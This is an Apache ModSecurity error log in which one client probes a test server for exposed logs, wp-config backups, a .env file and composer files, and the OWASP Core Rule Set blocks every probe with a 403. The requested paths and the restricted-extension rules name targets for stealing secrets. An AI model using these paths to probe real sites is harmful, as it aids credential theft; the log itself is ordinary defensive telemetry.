[Sun Mar 15 10:46:55.597477 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHYwAAAAA&quot;]
[Sun Mar 15 10:46:55.597607 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHYwAAAAA&quot;]
[Sun Mar 15 10:46:55.619502 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/laravel.log&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHZAAAAAA&quot;]
[Sun Mar 15 10:46:55.619862 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/laravel.log&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHZAAAAAA&quot;]
[Sun Mar 15 10:46:55.619987 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/laravel.log&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHZAAAAAA&quot;]
[Sun Mar 15 10:46:55.641579 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHZQAAAAA&quot;]
[Sun Mar 15 10:46:55.641946 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHZQAAAAA&quot;]
[Sun Mar 15 10:46:55.642072 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHZQAAAAA&quot;]
[Sun Mar 15 10:46:55.730980 2026] [authz_core:error] [pid 2708244] [client 185.177.72.49:29882] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Sun Mar 15 10:46:55.999273 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/debug.log&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHdQAAAAA&quot;]
[Sun Mar 15 10:46:55.999677 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/debug.log&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHdQAAAAA&quot;]
[Sun Mar 15 10:46:55.999796 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/debug.log&quot;] [unique_id &quot;abaAD8vpIxk5lGn4VceHdQAAAAA&quot;]
[Sun Mar 15 10:46:56.582122 2026] [:error] [pid 2708280] [client 185.177.72.49:29906] [client 185.177.72.49] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.old&quot;] [unique_id &quot;abaAEHfNpnDDJw8ck1hTPQAAAAU&quot;]
[Sun Mar 15 10:46:56.582416 2026] [:error] [pid 2708280] [client 185.177.72.49:29906] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;wp-config.old&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.old found within REQUEST_FILENAME: /wp-config.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.old&quot;] [unique_id &quot;abaAEHfNpnDDJw8ck1hTPQAAAAU&quot;]
[Sun Mar 15 10:46:56.582589 2026] [:error] [pid 2708280] [client 185.177.72.49:29906] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.old&quot;] [unique_id &quot;abaAEHfNpnDDJw8ck1hTPQAAAAU&quot;]
[Sun Mar 15 10:46:56.582722 2026] [:error] [pid 2708280] [client 185.177.72.49:29906] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.old&quot;] [unique_id &quot;abaAEHfNpnDDJw8ck1hTPQAAAAU&quot;]
[Sun Mar 15 10:46:56.695042 2026] [:error] [pid 2708280] [client 185.177.72.49:29906] [client 185.177.72.49] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.backup&quot;] [unique_id &quot;abaAEHfNpnDDJw8ck1hTQgAAAAU&quot;]
[Sun Mar 15 10:46:56.695267 2026] [:error] [pid 2708280] [client 185.177.72.49:29906] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.backup&quot;] [unique_id &quot;abaAEHfNpnDDJw8ck1hTQgAAAAU&quot;]
[Sun Mar 15 10:46:56.695428 2026] [:error] [pid 2708280] [client 185.177.72.49:29906] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.backup&quot;] [unique_id &quot;abaAEHfNpnDDJw8ck1hTQgAAAAU&quot;]
[Sun Mar 15 10:46:56.695548 2026] [:error] [pid 2708280] [client 185.177.72.49:29906] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.backup&quot;] [unique_id &quot;abaAEHfNpnDDJw8ck1hTQgAAAAU&quot;]
[Sun Mar 15 10:46:56.919844 2026] [:error] [pid 2708280] [client 185.177.72.49:29906] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/config/.env&quot;] [unique_id &quot;abaAEHfNpnDDJw8ck1hTTAAAAAU&quot;]
[Sun Mar 15 10:46:56.920008 2026] [:error] [pid 2708280] [client 185.177.72.49:29906] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/config/.env&quot;] [unique_id &quot;abaAEHfNpnDDJw8ck1hTTAAAAAU&quot;]
[Sun Mar 15 10:46:56.920123 2026] [:error] [pid 2708280] [client 185.177.72.49:29906] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/config/.env&quot;] [unique_id &quot;abaAEHfNpnDDJw8ck1hTTAAAAAU&quot;]
[Sun Mar 15 10:46:57.032751 2026] [:error] [pid 2708280] [client 185.177.72.49:29906] [client 185.177.72.49] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/logs/error.log&quot;] [unique_id &quot;abaAEXfNpnDDJw8ck1hTUQAAAAU&quot;]
[Sun Mar 15 10:46:57.033132 2026] [:error] [pid 2708280] [client 185.177.72.49:29906] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/logs/error.log&quot;] [unique_id &quot;abaAEXfNpnDDJw8ck1hTUQAAAAU&quot;]
[Sun Mar 15 10:46:57.033272 2026] [:error] [pid 2708280] [client 185.177.72.49:29906] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/logs/error.log&quot;] [unique_id &quot;abaAEXfNpnDDJw8ck1hTUQAAAAU&quot;]
[Sun Mar 15 10:46:57.100408 2026] [:error] [pid 2708280] [client 185.177.72.49:29906] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/composer.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;abaAEXfNpnDDJw8ck1hTVAAAAAU&quot;]
[Sun Mar 15 10:46:57.100580 2026] [:error] [pid 2708280] [client 185.177.72.49:29906] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;abaAEXfNpnDDJw8ck1hTVAAAAAU&quot;]
[Sun Mar 15 10:46:57.100700 2026] [:error] [pid 2708280] [client 185.177.72.49:29906] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;abaAEXfNpnDDJw8ck1hTVAAAAAU&quot;]
[Sun Mar 15 10:46:57.122794 2026] [:error] [pid 2708280] [client 185.177.72.49:29906] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/composer.lock&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /composer.lock found within REQUEST_FILENAME: /composer.lock&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;abaAEXfNpnDDJw8ck1hTVQAAAAU&quot;]
